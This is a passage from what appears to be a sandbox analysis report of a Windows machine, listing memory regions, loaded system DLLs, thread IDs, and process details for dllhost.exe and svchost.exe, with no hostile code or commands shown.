start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 972 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 973 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 974 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 975 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 976 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 977 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 978 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 979 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 980 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 981 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 982 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 983 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 984 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 985 start_va = 0x7ffa14c00000 end_va = 0x7ffa15028fff monitored = 0 entry_point = 0x7ffa14c28740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 986 start_va = 0x7ffa15030000 end_va = 0x7ffa1508bfff monitored = 0 entry_point = 0x7ffa1504b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 987 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 988 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 989 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 990 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 992 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 997 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 998 start_va = 0x5000000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 999 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 1000 start_va = 0x7800000 end_va = 0x78fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007800000" filename = "" Region: id = 1076 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1176 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1177 start_va = 0xd40000 end_va = 0xd41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 1178 start_va = 0xd50000 end_va = 0xd51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 1225 start_va = 0x7a00000 end_va = 0x7afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a00000" filename = "" Region: id = 1226 start_va = 0x7b00000 end_va = 0x7bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b00000" filename = "" Region: id = 1227 start_va = 0x7c00000 end_va = 0x7cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 1228 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1229 start_va = 0xd40000 end_va = 0xd41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 1230 start_va = 0xd50000 end_va = 0xd70fff monitored = 0 entry_point = 0xd52300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1231 start_va = 0xd80000 end_va = 0xd92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1232 start_va = 0xd50000 end_va = 0xd70fff monitored = 0 entry_point = 0xd52300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1233 start_va = 0xd80000 end_va = 0xd92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1234 start_va = 0xd50000 end_va = 0xd70fff monitored = 0 entry_point = 0xd52300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1235 start_va = 0xd80000 end_va = 0xd92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sppc.dll.mui" filename = "\\Windows\\System32\\en-US\\sppc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sppc.dll.mui") Region: id = 1236 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1373 start_va = 0x7d00000 end_va = 0x7dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d00000" filename = "" Region: id = 1374 start_va = 0x7e00000 end_va = 0x7efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 1377 start_va = 0x7f00000 end_va = 0x7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 1378 start_va = 0x7ffa0b050000 end_va = 0x7ffa0b06afff monitored = 0 entry_point = 0x7ffa0b051040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1379 start_va = 0xd40000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 1380 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1381 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1383 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1384 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1385 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1386 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1387 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1388 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 1389 start_va = 0x460000 end_va = 0x463fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1390 start_va = 0x460000 end_va = 0x464fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1392 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Thread: id = 19 os_tid = 0x1324 Thread: id = 20 os_tid = 0x1188 Thread: id = 21 os_tid = 0x1040 Thread: id = 22 os_tid = 0x103c Thread: id = 23 os_tid = 0x144 Thread: id = 24 os_tid = 0xb50 Thread: id = 25 os_tid = 0x5a0 Thread: id = 26 os_tid = 0xf4 Thread: id = 27 os_tid = 0x448 Thread: id = 28 os_tid = 0x9f8 Thread: id = 29 os_tid = 0x4f0 Thread: id = 30 os_tid = 0xb34 Thread: id = 31 os_tid = 0x954 Thread: id = 32 os_tid = 0x610 Thread: id = 33 os_tid = 0x808 Thread: id = 34 os_tid = 0xb10 Thread: id = 35 os_tid = 0x5f4 Thread: id = 36 os_tid = 0x630 Thread: id = 37 os_tid = 0xab0 Thread: id = 38 os_tid = 0x85c Thread: id = 39 os_tid = 0x848 Thread: id = 40 os_tid = 0xae8 Thread: id = 41 os_tid = 0x670 Thread: id = 42 os_tid = 0x6f4 Thread: id = 43 os_tid = 0x384 Thread: id = 44 os_tid = 0x38c Thread: id = 45 os_tid = 0x308 Thread: id = 46 os_tid = 0x238 Thread: id = 47 os_tid = 0x22c Thread: id = 48 os_tid = 0x230 Thread: id = 49 os_tid = 0x224 Thread: id = 50 os_tid = 0x18c Thread: id = 51 os_tid = 0x804 Thread: id = 52 os_tid = 0xb6c Thread: id = 53 os_tid = 0x6e4 Thread: id = 54 os_tid = 0x32c Thread: id = 55 os_tid = 0x81c Thread: id = 56 os_tid = 0x79c Thread: id = 57 os_tid = 0xa1c Thread: id = 58 os_tid = 0xab4 Thread: id = 59 os_tid = 0xad4 Thread: id = 60 os_tid = 0xac4 Thread: id = 61 os_tid = 0xa14 Thread: id = 62 os_tid = 0xaac Thread: id = 63 os_tid = 0xa80 Thread: id = 64 os_tid = 0x658 Thread: id = 65 os_tid = 0x5ec Thread: id = 66 os_tid = 0x780 Thread: id = 67 os_tid = 0x728 Thread: id = 68 os_tid = 0x5e0 Thread: id = 69 os_tid = 0x508 Thread: id = 70 os_tid = 0x428 Thread: id = 71 os_tid = 0x4f8 Thread: id = 72 os_tid = 0x7e4 Thread: id = 73 os_tid = 0x7e0 Thread: id = 74 os_tid = 0x7dc Thread: id = 75 os_tid = 0x7d8 Thread: id = 76 os_tid = 0x7cc Thread: id = 77 os_tid = 0x7c4 Thread: id = 78 os_tid = 0x7b0 Thread: id = 79 os_tid = 0x788 Thread: id = 80 os_tid = 0x744 Thread: id = 81 os_tid = 0x448 Thread: id = 82 os_tid = 0x6f8 Thread: id = 83 os_tid = 0x6d4 Thread: id = 84 os_tid = 0x648 Thread: id = 85 os_tid = 0x640 Thread: id = 86 os_tid = 0x62c Thread: id = 87 os_tid = 0x534 Thread: id = 88 os_tid = 0x530 Thread: id = 89 os_tid = 0x4a8 Thread: id = 90 os_tid = 0x2ac Thread: id = 91 os_tid = 0x270 Thread: id = 92 os_tid = 0x154 Thread: id = 93 os_tid = 0x1b8 Thread: id = 94 os_tid = 0x1bc Thread: id = 95 os_tid = 0x180 Thread: id = 96 os_tid = 0x188 Thread: id = 97 os_tid = 0x148 Thread: id = 98 os_tid = 0x12c Thread: id = 99 os_tid = 0xfc Thread: id = 100 os_tid = 0x60 Thread: id = 101 os_tid = 0x3f0 Thread: id = 102 os_tid = 0x3e8 Thread: id = 103 os_tid = 0x3cc Thread: id = 104 os_tid = 0x364 Thread: id = 105 os_tid = 0x568 Thread: id = 106 os_tid = 0xd8c Thread: id = 107 os_tid = 0xd88 Thread: id = 108 os_tid = 0xd60 Thread: id = 109 os_tid = 0xd64 Thread: id = 120 os_tid = 0xf74 Thread: id = 121 os_tid = 0xf70 Thread: id = 122 os_tid = 0x660 Thread: id = 148 os_tid = 0xdf0 Thread: id = 149 os_tid = 0x9c4 Thread: id = 150 os_tid = 0x10d0 Thread: id = 151 os_tid = 0x1060 Thread: id = 152 os_tid = 0x105c Thread: id = 153 os_tid = 0x1274 Thread: id = 154 os_tid = 0x2d8 Thread: id = 155 os_tid = 0x6f0 Process: id = "3" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x66c6b000" os_pid = "0xd68" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{7006698D-2974-4091-A424-85DD0B909E23}" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1089 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1090 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1091 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1092 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1093 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1094 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1095 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1096 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1097 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1098 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1099 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1100 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1101 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1102 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1103 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1104 start_va = 0x690000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1105 start_va = 0x790000 end_va = 0x917fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1106 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1107 start_va = 0x940000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 1108 start_va = 0xad0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 1109 start_va = 0x1ed0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1110 start_va = 0x1fd0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1111 start_va = 0x20d0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 1112 start_va = 0x21d0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1113 start_va = 0x23d0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 1114 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1115 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1116 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1117 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1118 start_va = 0x7ff721340000 end_va = 0x7ff721346fff monitored = 0 entry_point = 0x7ff721341570 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 1119 start_va = 0x7ffa0e440000 end_va = 0x7ffa0e47efff monitored = 0 entry_point = 0x7ffa0e463320 region_type = mapped_file name = "flightsettings.dll" filename = "\\Windows\\System32\\FlightSettings.dll" (normalized: "c:\\windows\\system32\\flightsettings.dll") Region: id = 1120 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1121 start_va = 0x7ffa11710000 end_va = 0x7ffa117a5fff monitored = 0 entry_point = 0x7ffa11735570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1122 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1123 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1124 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1125 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1126 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1127 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1128 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1129 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1130 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1131 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1132 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1133 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1134 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1135 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1136 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1137 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1138 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1139 start_va = 0x22d0000 end_va = 0x23affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Thread: id = 111 os_tid = 0xc4c Thread: id = 112 os_tid = 0xc48 Thread: id = 113 os_tid = 0xc54 Thread: id = 114 os_tid = 0xc58 Thread: id = 115 os_tid = 0xc50 Thread: id = 116 os_tid = 0xc44 Thread: id = 117 os_tid = 0xc3c Thread: id = 118 os_tid = 0xc38 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x510bc000" os_pid = "0x390" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c87e" [0xc000000f], "LOCAL" [0x7] Region: id = 1237 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1238 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1239 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1240 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1241 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1242 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1243 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = 